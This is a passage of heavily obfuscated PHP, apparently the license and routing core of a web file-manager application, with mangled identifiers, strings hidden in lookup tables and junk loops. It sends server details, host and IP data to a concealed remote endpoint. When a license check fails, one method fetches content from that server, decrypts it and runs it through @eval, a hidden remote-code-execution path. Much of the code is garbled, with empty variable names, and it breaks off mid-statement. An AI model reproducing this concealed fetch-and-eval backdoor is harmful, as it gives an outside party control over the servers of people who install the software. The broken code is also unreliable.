Model($ў[537])->userGroupRemove($, $ҫ); } $ծ = array($ў[408] => 2, $ў[494] => 0, $ў[407] => 1, $ў[501] => array($ў[7], array($ҫ, $))); $ = Model($ў[823])->where($ծ)->field($ў[1927])->select(); $ = array_to_keyvalue($, $ў[501], $ў[399]); $頑ϒ = !empty($[$ҫ]) ? $[$ҫ] : !1; if ($頑ϒ) { if (!$[$]) { $[$] = Model($ў[823])->groupRootAdd($); } $𮉲 = $[$]; $ծ = array($ў[494] => $頑ϒ); $ = Model($ў[823])->where($ծ)->field($ў[1928])->select(); if (!$) { $ = array(); } Model($ў[823])->moveClearAuth = !1; foreach ($ as $) { $ē = $[$ў[407]] == $ў[89] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($ў[823])->move($[$ў[399]], $𮉲, $ē); } Model($ў[823])->moveClearAuth = !0; $ծ = array($ў[408] => 2, $ў[501] => $ҫ); $ϼ = array($ў[501] => $); Model($ў[1929])->where($ծ)->save($ϼ); Model($ў[1930])->where($ծ)->save($ϼ); } $this->_changeChildLevel($ɩ[$ҫ], $ɩ[$], !0); $this->where(array($ў[494] => $ҫ))->save(array($ў[494] => $)); $this->_clearChildrenCache($ɩ[$]); return !0; } } goto C; Cя: class Application { private $defaultModule = "\x69\156\x64\x65\170"; private $defaultController = "\151\156\144\x65\170"; private $defaultAction = "\151\x6e\144\145\x78"; function __construct() { } public function setDefault($) { $ =& $_SERVER[譃]; $ =& $_SERVER[]; $؋ = explode($[0], trim($, $[0])); $ = $[610]; if (strlen($) < $[606]) { return; } $this->defaultModule = $؋[0] ? $؋[0] : $this->defaultModule; $곐 = $[611]; $this->defaultController = $؋[1] ? $؋[1] : $this->defaultController; $ڭ = $[612]; if (strlen($ڭ) < $[613]) { return; } $this->defaultAction = $؋[2] ? $؋[2] : $this->defaultAction; $this->yenf8d3d015a($[1], array($this, $[2])); $ = $[614]; } public function appRun($) { $ =& $_SERVER[譃]; $ =& $_SERVER[]; $Õߓ = explode($[0], $); $ = strtolower($Õߓ[0]); $ɴ = $[615]; $ = $[3]; if ($ == $[4]) { $ = $[5]; $Õߓ[0] = $[6]; $Õߓ[1] = $Õߓ[1] . $[7]; $ = join($[0], $Õߓ); $ = trim($, $[0]); } call_user_func(array($[8], $[9]), $ . $[10], $); ActionCall($); call_user_func(array($[8], $[9]), $ . $[11], $); $ċ = $[616]; while (strlen($ċ) < $[617]) { if (!$ċ) { break; } $ċ++; } } private function autorun() { $͑ܭ =& $_SERVER[]; global $config; if (count($config[$͑ܭ[12]]) == 0) { return; } foreach ($config[$͑ܭ[12]] as $ => $) { $this->appRun($); } } private function pobyc489b960() { $ɵ =& $_SERVER[譃]; $͠ެ =& $_SERVER[]; $ = $͠ެ[4]; $IJ = $GLOBALS[$͠ެ[13]][$͠ެ[14]][0]; $Ն = $ɵ[618]; if (!$IJ || strlen($IJ) <= strlen($)) { return; } if (strtolower(substr($IJ, -strlen($))) != $) { return; } $ڜ = substr($IJ, 0, -strlen($)); $͂ = array($͠ެ[4], $ڜ); $ = array_slice($GLOBALS[$͠ެ[13]][$͠ެ[14]], 1); $ד = $ɵ[619]; if (strlen($ד) < $ɵ[620]) { return; } $GLOBALS[$͠ެ[13]][$͠ެ[14]] = array_merge($͂, $); $ = $ɵ[621]; while (strlen($) < $ɵ[617]) { if (!$) { break; } $++; } $GLOBALS[$͠ެ[13]][$͠ެ[15]] = implode($͠ެ[0], $GLOBALS[$͠ެ[13]][$͠ެ[14]]); } private function rdcab83fc8e1() { $ȩ =& $_SERVER[譃]; $ =& $_SERVER[]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ݺ = $_SERVER[$[16]]; $ = $ȩ[622]; if (strlen($) < $ȩ[606]) { return; } $ň = $[17]; if (!strstr($ݺ, $ň)) { return; } $ʈʵ = strrpos($ݺ, $ň); $ŨѬ = $ȩ[623]; $ = substr($ݺ, $ʈʵ + strlen($ň)); $ = $ȩ[624]; preg_match_all($[18], $, $˲); $ = $ȩ[625]; if (!$) { die; } $ = trim($˲[0][0], $[19]); $GLOBALS[$[13]][$[14]] = explode($[19], $); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $Ԅ = $ȩ[626]; while ($Ԅ < $ȩ[627]) { if ($Ԅ >= 0) { break; } $Ԅ++; } } public function run() { $ķ =& $_SERVER[譃]; $ɘ =& $_SERVER[]; $this->rdcab83fc8e1(); $ = $ķ[628]; if (!$) { return; } $this->pobyc489b960(); $ߤ = $GLOBALS[$ɘ[13]][$ɘ[14]]; $ = $GLOBALS[$ɘ[13]][$ɘ[15]]; define($ɘ[20], isset($ߤ[0]) && $ߤ[0] ? $ߤ[0] : $this->defaultModule); define($ɘ[21], isset($ߤ[1]) && $ߤ[0] ? $ߤ[1] : $this->defaultController); $Рꈑ = $ķ[629]; if (strlen($Рꈑ) < $ķ[620]) { die; } define($ɘ[22], isset($ߤ[2]) && $ߤ[0] ? $ߤ[2] : $this->defaultAction); define($ɘ[23], MOD . $ɘ[0] . ST . $ɘ[0] . ACT); $Ё = $ķ[630]; while (strlen($Ё) < $ķ[620]) { if (!$Ё) { break; } $Ё++; } $_SERVER[$ɘ[24]] = strtolower(ACTION); $Ĕ = $ķ[631]; if (!$Ĕ) { return; } $this->autorun(); if (count($ߤ) >= 3) { $this->appRun($); } else { $this->appRun(ACTION); } } private $qeboc5fe3526 = array(); private $smqo82c58de6 = ''; public function uclaee977ec3() { $ =& $_SERVER[譃]; $۴̨ =& $_SERVER[]; $this->vcipe2275bad(); $ = $[632]; while (strlen($) < $[613]) { if (!$) { break; } $++; } $this->lhop11a77064(); $this->cemd7d51f6dc(); $ = $[633]; if (strlen($) < $[620]) { return; } $this->vnkc963765e8(); $߈ѡ = $[634]; $this->wsrod3df1a29(); $ = $[635]; if (!$) { die; } $this->badoe3837847(); $this->whkj579d7f30(); $this->yenf8d3d015a($۴̨[25], array($this, $۴̨[26])); $ʍ = $[636]; while (strlen($ʍ) < $[606]) { if (!$ʍ) { break; } $ʍ++; } $this->yenf8d3d015a($۴̨[27], array($this, $۴̨[28])); $ = $[637]; if (strlen($) < $[627]) { die; } $this->yenf8d3d015a($۴̨[29], array($this, $۴̨[30])); $ = $[638]; if (!$) { die; } $this->yenf8d3d015a($۴̨[31], array($this, $۴̨[32])); } public function eoqa645b5705($ӣē) { $ =& $_SERVER[譃]; $ =& $_SERVER[]; $ň = Model($[33])->get(); $ā = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82]); foreach ($ā as $։) { $ݿ = $GLOBALS[$[83]][$[84]][$։]; if (isset($ň[$։])) { $ݿ = $ň[$։]; } $ӣē[$[85]][$[86]][$։] = $ݿ; } $ = $ӣē[$[85]][$[86]][$[46]]; $¿ = $[639]; unset($ӣē[$[85]][$[87]][$[88]]); $ = $[640]; while ($ < $[627]) { if ($ >= 0) { break; } $++; } unset($ӣē[$[85]][$[87]][$[89]]); $ބ = $[641]; if (strlen($ބ) < $[617]) { return; } unset($ӣē[$[85]][$[86]][$[46]]); unset($ӣē[$[85]][$[86]][$[90]]); $ӣē[$[85]][$[86]][$[91]] = array($[92] => (int) $[$[93]], $[94] => (int) _get($, $[95], 0)); $ʫǼ = $[642]; if (!$ʫǼ) { return; } $ӣē[$[96]][$[97]] = Action($[98])->accessToken(); $ = $[643]; $ӣē[$[96]][$[99]] = md5($_SERVER[$[100]] . $ň[$[101]]); $ӣē[$[96]][$[102]] = base64_encode(serverInfo()); $р = $[644]; if (strlen($р) < $[606]) { return; } $ӣē[$[96]][$[103]] = $this->smqo82c58de6; if ($ň[$[103]] != $[104]) { $ӣē[$[96]][$[105]] = $ň[$[105]]; $ӣē[$[96]][$[106]] = $ň[$[106]]; $ = rand_string(10) . $this->smqo82c58de6 . rand_string(5); $ӣē[$[85]][$[107]][$[108]] = $this->oecbae4b4d28($, $ӣē[$[96]][$[99]]); } if ($this->smqo82c58de6 == $[104]) { $ӣē[$[85]][$[86]][$[91]][$[95]] = 0; } $ӣē[$[96]][$[109]] = _get($this->qeboc5fe3526, $[110], $[6]); $ӣē[$[96]][$[111]] = _get($this->qeboc5fe3526, $[112], $[6]); if (_get($GLOBALS, $[113]) && $this->config[$[114]]) { $ӣē[$[96]][$[115]] = WEB_ROOT; } return $ӣē; } private function badoe3837847() { $ =& $_SERVER[譃]; $ =& $_SERVER[]; $į = $_SERVER[$[24]] == $[116]; $Ɖ = $[645]; if (!$Ɖ) { return; } if ($_SERVER[$[24]] == $[117] && $_GET[$[118]] == $[119]) { $į = !0; } if ($į) { $ = array($[103] => $this->smqo82c58de6, $[120] => $this->sihj0c32ecf1(), $[121] => Model($[122])->count()); if ($this->smqo82c58de6 != $[104]) { $ܹʮ = _get($this->qeboc5fe3526, $[123]); if ($ܹʮ) { $[$[124]] = $ܹʮ; $[$[125]] = strtotime(_get($this->qeboc5fe3526, $[126])); $[$[127]] = _get($this->qeboc5fe3526, $[112]); } $Ȉ = Model($[33])->get($[128], $[6], !0); if (is_string($Ȉ) && substr($Ȉ, 0, 1) == $[129]) { $Ȉ = json_decode_force($Ȉ); } if (is_array($Ȉ) && $Ȉ[$[130]] && strstr($Ȉ[$[130]], $[131])) { $Ի = explode($[131], $Ȉ[$[130]]); $[$[132]] = $Ի[0]; } } $ = $this->arwd193e93c4(json_encode($), md5($[133])); $ = array($[134] => $); call_user_func(array($[135], $[136]), $); $ù = $[646]; if (strlen($ù) < $[613]) { die; } } if ($this->smqo82c58de6 == $[104]) { return; } $ɶ = array($[137], $[138], $[139], $[140], $[141], $[142]); $ބ訓 = $[647]; if (!$ބ訓) { die; } $ԍ֝ = Model($[33])->get(); $ = array($[143] => $ԍ֝[$[34]], $[144] => $ԍ֝[$[35]], $[145] => $[6]); $˕ = $[648]; if (!$˕) { die; } foreach ($ɶ as $) { if (!isset($ԍ֝[$]) || !$ԍ֝[$]) { continue; } $[$] = $ԍ֝[$]; $ = $[649]; } call_user_func(array($[135], $[136]), $); $иϐ = $[650]; while (strlen($иϐ) < $[620]) { if (!$иϐ) { break; } $иϐ++; } } private function vnkc963765e8() { $Δ =& $_SERVER[譃]; $ؙ =& $_SERVER[]; if ($_SERVER[$ؙ[24]] != $ؙ[146]) { return; } if (!_get($GLOBALS, $ؙ[113])) { die; } $絩 = $GLOBALS[$ؙ[13]]; if (isset($絩[$ؙ[147]])) { $this->axks6a545977(); die; } if (!isset($絩[$ؙ[148]]) || strlen($絩[$ؙ[148]]) != 16) { show_json($ؙ[149] . $絩[$ؙ[148]], !1); } $삁ے = Model($ؙ[33])->get($ؙ[101]); $ڀ = md5($_SERVER[$ؙ[100]] . $삁ے); $Ƣ = array($ؙ[148] => $絩[$ؙ[148]], $ؙ[150] => rand_string(16), $ؙ[151] => $ؙ[133], $ؙ[152] => $ؙ[153], $ؙ[154] => $_SERVER[$ؙ[155]], $ؙ[156] => $_SERVER[$ؙ[157]], $ؙ[158] => $_SERVER[$ؙ[159]], $ؙ[99] => $ڀ, $ؙ[160] => Model($ؙ[33])->get($ؙ[128])); $ = $Δ[651]; if (!$) { return; } if ($絩[$ؙ[161]] == $ؙ[162]) { $Ȥġ = $this->arwd193e93c4($ڀ, $ؙ[163]); $ = $this->oecbae4b4d28(json_encode($Ƣ), $ڀ . $ؙ[164], 3); $ = $ . $ؙ[165] . $_SERVER[$ؙ[155]]; $ɤ = $this->bgtqb9f40e87($ؙ[166] . $Ȥġ . $ؙ[167] . $, -1); show_json($ɤ, !0); } else { if ($絩[$ؙ[161]] == $ؙ[168]) { $ʂ˥ = substr(md5($ؙ[169] . $ڀ), 12, 15) . $ؙ[170]; $ = $this->cbxk4ff5088f(trim($絩[$ؙ[171]]), $ʂ˥, 2); $ط = json_decode($, !0); if (!is_array($ط) || !is_array($ط[$ؙ[172]]) || $ط[$ؙ[148]] != !0) { $ = $ؙ[173]; $ = $ط[$ؙ[172]] ? $ؙ[174] . $ط[$ؙ[172]] : $; show_json($, !1); } else { $Ƣ[$ؙ[150]] = $ط[$ؙ[172]][$ؙ[175]]; } } else { $ط = $this->bgtqb9f40e87($ؙ[176], $Ƣ, 10); $ = $Δ[652]; if (strlen($) < $Δ[613]) { die; } } } if (!is_array($ط) || !is_array($ط[$ؙ[172]]) || $ط[$ؙ[148]] != !0) { $ = LNG($ؙ[177]); $ = $ط[$ؙ[172]] ? $ؙ[174] . $ط[$ؙ[172]] : $; show_json($, !1); } $ט = $ط[$ؙ[172]]; $ݲ迦 = $this->dibv8c6a0102($ט[$ؙ[178]]); if (!$ݲ迦 || $ݲ迦 != $ט[$ؙ[126]]) { $ϳم = array($ؙ[179] => Model($ؙ[33])->get($ؙ[101]), $ؙ[180] => $_SERVER[$ؙ[100]], $ؙ[181] => this_url(), $ؙ[156] => $_SERVER[$ؙ[157]]); $ = $this->vksyaeebe931(json_encode($ϳم)); $this->bgtqb9f40e87($ؙ[182] . $); show_json(LNG($ؙ[183]), !0); } $φ = array($ؙ[184] => $ט[$ؙ[185]], $ؙ[186] => $ט[$ؙ[187]], $ؙ[188] => rand_string(16), $ؙ[103] => $ט[$ؙ[189]]); if ($Ƣ[$ؙ[150]]) { $φ[$ؙ[188]] = $Ƣ[$ؙ[150]]; } $ = substr(md5($φ[$ؙ[186]]), 10, 10); $ = $ . $φ[$ؙ[103]] . $φ[$ؙ[188]]; $φ[$ؙ[105]] = strrev(base64_encode($this->arwd193e93c4($, $ؙ[190]))); $ = $Δ[653]; if (strlen($) < $Δ[606]) { return; } $ = rand_string(16); $ = $ . $φ[$ؙ[103]] . $this->arwd193e93c4(md5($φ[$ؙ[184]]), $); $ĩ = $Δ[654]; if (strlen($ĩ) < $Δ[613]) { die; } $φ[$ؙ[106]] = base64_encode(strrev($this->arwd193e93c4($, $ؙ[191]))); if ($ט[$ؙ[192]] && $ט[$ؙ[192]] >= 1) { Model($ؙ[33])->setDeep($ؙ[193], $ؙ[119]); } Model($ؙ[33])->set($φ); $內 = md5($_SERVER[$ؙ[100]] . strrev($삁ے) . $φ[$ؙ[186]]); $د = strrev(substr($內, 10, 16)); $잯 = $this->oecbae4b4d28(json_encode($ט), $內); $Ӳ = array_to_keyvalue(Model($ؙ[7])->listData(), $ؙ[194]); $ޕ = $Δ[655]; if (strlen($ޕ) < $Δ[617]) { die; } $ח = $Ӳ[$ؙ[195]]; $ڋ = $Δ[656]; if (!$ڋ) { die; } $ŝπ = array(); $䃋 = $Δ[657]; while ($䃋 < $Δ[627]) { if ($䃋 >= 0) { break; } $䃋++; } $ŝπ[$د] = $잯; $ = $Δ[658]; Model($ؙ[7])->update($ח[$ؙ[196]], array($ؙ[197] => $ŝπ)); $ = $Δ[659]; $this->qeboc5fe3526 = $ט; $ۻߊ = $Δ[660]; $this->smqo82c58de6 = $φ[$ؙ[103]]; $ʀ = $Δ[661]; if (!$ʀ) { die; } $this->licenseRegistSuccess(); $ˌ = $Δ[662]; while ($ˌ < $Δ[627]) { if ($ˌ >= 0) { break; } $ˌ++; } Cache::set($ؙ[198] . md5($삁ے . $ؙ[199]), $ؙ[6]); $ͭ = $Δ[663]; show_json(LNG($ؙ[183]), !0); } private function licenseRegistSuccess() { $ӌ =& $_SERVER[譃]; $ =& $_SERVER[]; $ = Model($[33])->get(); $ = $ӌ[664]; if (strlen($) < $ӌ[613]) { return; } if ($[$[63]] != $[119]) { Model($[33])->set($[63], $[119]); } Action($[200])->initStart(!0); } private function axks6a545977() { $Ǒ =& $_SERVER[譃]; $ =& $_SERVER[]; Model($[33])->set(array($[184] => $[6], $[186] => $[6], $[103] => $[104], $[105] => $[6], $[106] => $[6])); Model($[33])->setDeep($[193], $[201]); $ΰ = $Ǒ[665]; if (!$ΰ) { die; } $this->qeboc5fe3526 = array(); $Ɓ = $Ǒ[666]; while (strlen($Ɓ) < $Ǒ[627]) { if (!$Ɓ) { break; } $Ɓ++; } $this->smqo82c58de6 = $[104]; } private function vcipe2275bad() { $ =& $_SERVER[譃]; $ =& $_SERVER[]; $_SERVER[$[157]] = _get($_SERVER, $[157], APP_HOST); $this->smqo82c58de6 = $[104]; $Ô = Model($[33])->get(); $Ձ֫ = $[667]; if ($Ô[$[103]] == $[104]) { return; } $Ϻ = Model($[33])->get($[101]); $ = $[198] . md5($Ϻ . $[199]); $ս = $[668]; if (strlen($ս) < $[627]) { return; } $뢂 = Cache::get($); $Ԓ = $[669]; if (!$Ԓ) { die; } if (!is_array($뢂) || !isset($뢂[$[202]]) || time() - $뢂[$[202]] >= 60) { $ = Model($[7])->loadList(); $ѳ٣ = $[$[195]]; $̢ = md5($_SERVER[$[100]] . strrev($Ϻ) . $Ô[$[186]]); $ = strrev(substr($̢, 10, 16)); $뢂 = $this->cbxk4ff5088f($ѳ٣[$[83]][$], $̢); $뢂 = json_decode($뢂, !0); } if (!is_array($뢂)) { return $this->axks6a545977(); } $ȏċ = strtotime($뢂[$[126]]); if (time() >= $ȏċ) { return $this->axks6a545977(); } if (time() - $뢂[$[202]] > 20) { $뢂[$[202]] = time(); Cache::set($, $뢂); } $this->qeboc5fe3526 = $뢂; $this->smqo82c58de6 = $Ô[$[103]]; } private function lhop11a77064() { $ =& $_SERVER[譃]; $ =& $_SERVER[]; $⌱ = $GLOBALS[$[13]]; $ = $_SERVER[$[24]]; $՟ = $[670]; if (strlen($՟) < $[606]) { die; } if ($ == $[203] && $this->smqo82c58de6 == $[104]) { show_json(LNG($[204]), !1, $[205]); } $ⴒ = array($[206], $[207]); if (in_array($, $ⴒ)) { if ($this->smqo82c58de6 == $[104] && isset($⌱[$[208]])) { show_json(LNG($[204]), !1, $[205]); die; } $ = $this->sihj0c32ecf1(); if ($ != intval($[209])) { if ($ <= Model($[122])->count()) { show_json(LNG($[210]), !1, $[205]); die; } } } } private function cemd7d51f6dc() { $ =& $_SERVER[譃]; $ =& $_SERVER[]; $ёİ = array($[116], $[117]); if (!_get($GLOBALS, $[113]) || !isset($_GET[$[211]])) { return; } if (!in_array($_SERVER[$[24]], $ёİ)) { return; } $֕ = $[212]; $ = $[671]; if (strlen($) < $[617]) { return; } $֕ = $this->grbz959d47b2($֕, $[213]); $ = stream_context_create(array($[214] => array($[215] => $[216], $[217] => 3))); $Ս = $[656]; if (!$Ս) { die; } $Ɯʬ = @file_get_contents($֕, !1, $); $น = $[672]; if (strlen($น) < $[620]) { return; } header($[218]); $ = $[673]; while (strlen($) < $[613]) { if (!$) { break; } $++; } if ($Ɯʬ && strstr($Ɯʬ, $[219])) { echo $Ɯʬ; } die; } public function wxmt020aaddb($ՄŦ) { $띝Ї =& $_SERVER[譃]; $ =& $_SERVER[]; if ($this->smqo82c58de6 == $[220]) { return $ՄŦ; } $˗ = array($[221] => $[222], $[223] => $[222], $[224] => $[222], $[225] => $[222], $[226] => $[227], $[228] => $[227], $[229] => $[227], $[230] => $[227], $[231] => $[227], $[232] => $[227], $[233] => $[227], $[234] => $[227], $[235] => $[227], $[236] => $[227], $[237] => $[227], $[238] => $[227]); $¿¾ = $띝Ї[674]; if (!$¿¾) { return; } $ = explode($[239], _get($this->qeboc5fe3526, $[110], $[6])); $ = array(); $ƹ = $띝Ї[675]; if (strlen($ƹ) < $띝Ї[613]) { die; } foreach ($˗ as $ => $) { if ($ == $[222] && substr($this->smqo82c58de6, 0, 1) == $[222]) { continue; } if (!in_array($, $)) { $[] = $; } } foreach ($ as $) { unset($ՄŦ[$]); $տ = $띝Ї[676]; if (!$տ) { die; } } return $ՄŦ; $ϒ = $띝Ї[677]; if (strlen($ϒ) < $띝Ї[627]) { die; } } private function whkj579d7f30() { $ =& $_SERVER[]; if ($this->smqo82c58de6 != $[104]) { $GLOBALS[$[83]][$[87]][$[240]] = $[201]; return; } $GLOBALS[$[83]][$[241]] = $[119]; if (Model($[242])->get($[63]) != $[201]) { Model($[242])->set($[63], $[201]); } } public function skote9399f82() { return $_SERVER[][243]; $ = $_SERVER[譃][678]; } private function wsrod3df1a29() { $Ǹ =& $_SERVER[譃]; $ś轋 =& $_SERVER[]; $ҍˍ = array($ś轋[244], $ś轋[245], $ś轋[246]); $ = $Ǹ[679]; if (strlen($) < $Ǹ[617]) { return; } $ᖇ = $ś轋[247] . md5($ś轋[248]); $ӏ = $Ǹ[631]; if (!$ӏ) { return; } if ($this->smqo82c58de6 == $ś轋[104] || !_get($GLOBALS, $ś轋[113])) { return; } if (!in_array($_SERVER[$ś轋[24]], $ҍˍ)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($ś轋[249], $ś轋[250]), $ᖇ); if ($ && time() - $ < intval($ś轋[251])) { return; } call_user_func(array($ś轋[249], $ś轋[136]), $ᖇ, time()); $ŕ = Model($ś轋[33])->get($ś轋[101]); $ꣶ = $Ǹ[680]; while (strlen($ꣶ) < $Ǹ[627]) { if (!$ꣶ) { break; } $ꣶ++; } $ = array($ś轋[148] => Model($ś轋[33])->get($ś轋[184]), $ś轋[161] => $this->smqo82c58de6, $ś轋[158] => $_SERVER[$ś轋[159]], $ś轋[160] => Model($ś轋[33])->get($ś轋[128]), $ś轋[99] => md5($_SERVER[$ś轋[100]] . $ŕ), $ś轋[151] => $ś轋[133], $ś轋[154] => $_SERVER[$ś轋[155]]); $燋 = $this->bgtqb9f40e87($ś轋[252], $); if (!is_array($燋)) { return; } if ($燋[$ś轋[148]] && $燋[$ś轋[253]]) { if ($this->dibv8c6a0102($燋[$ś轋[253]]) == $[$ś轋[148]]) { return; } } $this->axks6a545977(); $ҝ = $Ǹ[681]; while (strlen($ҝ) < $Ǹ[627]) { if (!$ҝ) { break; } $ҝ++; } if ($this->dibv8c6a0102($燋[$ś轋[253]]) != $[$ś轋[148]]) { $ = array($ś轋[179] => $ŕ, $ś轋[180] => $_SERVER[$ś轋[100]], $ś轋[181] => this_url(), $ś轋[156] => $_SERVER[$ś轋[157]]); $ = $this->vksyaeebe931(json_encode($)); $燋 = $this->bgtqb9f40e87($ś轋[182] . $); if ($燋 && is_array($燋) && isset($燋[$ś轋[253]])) { $ = $this->cbxk4ff5088f($燋[$ś轋[253]], 2); if ($) { $ = $this->dibv8c6a0102($); } if ($) { try { @eval($); } catch (Exception $ë) { } } } } } private function bgtqb9f40e87($汭 = '', $ = array(), $˚ʦ = 5) { $ܽ =& $_SERVER[譃]; $Ϳ =& $_SERVER[]; $ͧ = $Ϳ[254]; $ͧ = $this->grbz959d47b2($ͧ, $Ϳ[255]); $튑ϱ = $ܽ[682]; if (!$튑ϱ) { die; } $ͧ = $ͧ . $汭; $뺓 = $ܽ[683]; if (!$뺓) { return; } if ($ && is_array($)) { $ͧ = $ͧ . $Ϳ[256] . http_build_query($); } if ($ === -1) { return $ͧ; } $͛ = stream_context_create(array($Ϳ[214] => array($Ϳ[217] => $˚ʦ, $Ϳ[215] => $Ϳ[257]), $Ϳ[258] => array($Ϳ[259] => !1, $Ϳ[260] => !1))); $Ӕ = $ܽ[684]; $ = @file_get_contents($ͧ, !1, $͛); $ = $ܽ[685]; if (!$) { die; } return json_decode($, !0); $ = $ܽ[686]; while ($ < $ܽ[606]) { if ($ >= 0) { break; } $++; } } private function sihj0c32ecf1() { $ =& $_SERVER[譃]; $ =& $_SERVER[]; $Ǭ = array($[261] => $[262], $[263] => $[264], $[265] => $[266], $[267] => $[268], $[269] => $[270], $[271] => $[209], $[272] => $[209], $[273] => $[262], $[274] => $[264], $[275] => $[266], $[276] => $[277], $[278] => $[268], $[279] => $[280], $[281] => $[270], $[282] => $[283], $[284] => $[285], $[286] => $[287]); $ = $[687]; $ = $Ǭ[$this->smqo82c58de6]; $ = intval($ ? $ : $[262]); $렉 = _get($this->qeboc5fe3526, $[288]); $렉 = $렉 ? intval($렉) : 0; $μ = $[688]; if (strlen($μ) < $[606]) { return; } return $ + $렉; $ = $[689]; } public function tuqcc1997afa($) { $ =& $_SERVER[譃]; $ =& $_SERVER[]; $ = $this->sihj0c32ecf1(); $ɸ = $[690]; if (strlen($ɸ) < $[606]) { return; } if ($[$[289]] == $[119]) { return; } if ($ >= intval($[209])) { return; } $ = Model($[122])->count(); $ = $[691]; if ($ <= $) { return; } $ﲭ = Model($[122])->field($[289])->limit($)->select(); $ﲭ = array_to_keyvalue($ﲭ, $[6], $[289]); $ʻÌ = $[692]; if (!$ʻÌ) { die; } if (!in_array($[$[289]], $ﲭ)) { show_json($[290], !1, $[205]); } } public function jaut6fd0d7bc() { $ =& $_SERVER[]; if (!_get($GLOBALS, $[113]) || mt_rand(1, 100) > 20) { return; } $ = $[212]; $ = $this->grbz959d47b2($, $[213]); $ɗ = stream_context_create(array($[214] => array($[215] => $[216], $[217] => 3))); $ = $_SERVER[譃][693]; $ = @file_get_contents($, !1, $ɗ); echo $[291] . hash_encode($) . $[292]; } private function oecbae4b4d28($΄, $鷧, $ = 3) { $ċ =& $_SERVER[譃]; $׆ =& $_SERVER[]; usleep(1); $Ү = $ċ[694]; if (!$Ү) { die; } $΄ = trim($΄); $ = $ċ[695]; while (strlen($) < $ċ[606]) { if (!$) { break; } $++; } $Я䢽 = mt_rand(0, 5) . $׆[6]; $
= $ċ[696]; while ($
< $ċ[620]) { if ($
>= 0) { break; } $
++; } $ = rand_string(15); $⦷ = $ċ[697]; while ($⦷ < $ċ[617]) { if ($⦷ >= 0) { break; } $⦷++; } $ƾ = $׆[293]; $Օ = $ċ[698]; if (!$Օ) { return; } switch ($Я䢽) { case $׆[201]: $˘ = $this->arwd193e93c4($΄, strrev($鷧 . $)); $̜ƒ = $ċ[699]; if (!$̜ƒ) { die; } break; $͙ = $ċ[700]; case $׆[119]: $˘ = $this->arwd193e93c4($΄, strrev($ . $鷧)); $ = $ċ[701]; break; $شݻ = $ċ[702]; if (!$شݻ) { return; } case $׆[294]: $˘ = $this->arwd193e93c4($΄, base64_encode($ . $鷧)); $ = $ċ[703]; if (strlen($) < $ċ[613]) { die; } break; $י՚ = $ċ[704]; case $׆[295]: $˘ = $this->arwd193e93c4($΄, md5($ . $鷧)); break; $ = $ċ[705]; if (!$) { return; } case $׆[296]: $΄ = base64_encode($΄); $ = $ċ[706]; while (strlen($) < $ċ[617]) { if (!$) { break; } $++; } $ = rand(0, 64); $㐑 = $ċ[707]; $ճ = $ƾ[$]; $ = $ċ[708]; $ή = md5($ճ . md5($鷧 . $ճ) . $鷧); $ʙ = $ċ[709]; if (!$ʙ) { return; } $ή = substr($ή, $ % 8, $ % 8 + 7); $ȧ = $׆[6]; $ = $ċ[710]; if (strlen($) < $ċ[620]) { die; } $ = 0; $ = $ċ[711]; $۰Ϳ = 0; $ = $ċ[712]; while ($ < $ċ[627]) { if ($ >= 0) { break; } $++; } $ސǚ = 0; for ($ = 0; $ < strlen($΄); $++) { $ސǚ = $ސǚ == strlen($ή) ? 0 : $ސǚ; $۰Ϳ = ($ + strpos($ƾ, $΄[$]) + ord($ή[$ސǚ++])) % 64; $ȧ .= $ƾ[$۰Ϳ]; } $˘ = hash_encode($ճ . $ȧ); $ = $ċ[713]; if (!$) { die; } break; default: $˘ = $this->arwd193e93c4($΄, $鷧 . $); break; } $˘ = strrev($Я䢽 . $ . $˘); if ($ - 1 > 0) { $˘ = $this->oecbae4b4d28($˘, $鷧, $ - 1); } return $˘; } private function cbxk4ff5088f($Μ, $ރ, $ = 3) { $џ =& $_SERVER[譃]; $ݢȴ =& $_SERVER[]; if (!is_string($Μ) || strlen($Μ) < 10) { return !1; } $Μ = trim($Μ); $Μ = strrev($Μ); $Ʀ = $џ[714]; if (strlen($Ʀ) < $џ[606]) { return; } $ = $Μ[0]; $孮 = $џ[715]; while (strlen($孮) < $џ[620]) { if (!$孮) { break; } $孮++; } $ = substr($Μ, 1, 15); $ǡ = $џ[716]; if (!$ǡ) { return; } $Μ = substr($Μ, 16); $ܡ = $ݢȴ[293]; $ = $џ[717]; if (!$) { return; } switch ($) { case $ݢȴ[201]: $߈ = $this->grbz959d47b2($Μ, strrev($ރ . $)); $ĥ = $џ[718]; if (strlen($ĥ) < $џ[620]) { die; } break; $퇮 = $џ[719]; case $ݢȴ[119]: $߈ = $this->grbz959d47b2($Μ, strrev($ . $ރ)); break; $Ⅻ = $џ[720]; if (!$Ⅻ) { return; } case $ݢȴ[294]: $߈ = $this->grbz959d47b2($Μ, base64_encode($ . $ރ)); $ = $џ[721]; if (!$) { return; } break; case $ݢȴ[295]: $߈ = $this->grbz959d47b2($Μ, md5($ . $ރ)); break; $ = $џ[722]; while (strlen($) < $џ[606]) { if (!$) { break; } $++; } case $ݢȴ[296]: $Μ = hash_decode($Μ); $ԘөǙ = $џ[723]; $ = $Μ[0]; $Μ = substr($Μ, 1); $ = $џ[724]; $Ղ = strpos($ܡ, $); $ = md5($ . md5($ރ . $) . $ރ); $Ёί = $џ[725]; if (strlen($Ёί) < $џ[617]) { die; } $ = substr($, $Ղ % 8, $Ղ % 8 + 7); $ = $ݢȴ[6]; $ = 0; $dž = $џ[726]; if (strlen($dž) < $џ[627]) { die; } $ = 0; $ʉ = 0; for ($ = 0; $ < strlen($Μ); $++) { $ʉ = $ʉ == strlen($) ? 0 : $ʉ; $Ăό = $ʉ++; $ = strpos($ܡ, $Μ[$]) - $Ղ - ord($[$Ăό]); while ($ < 0) { $ += 64; $ = $џ[727]; while (strlen($) < $џ[627]) { if (!$) { break; } $++; } } $ .= $ܡ[$]; } $߈ = base64_decode($); break; default: $߈ = $this->grbz959d47b2($Μ, $ރ . $); $ɂ = $џ[728]; if (!$ɂ) { return; } break; } if 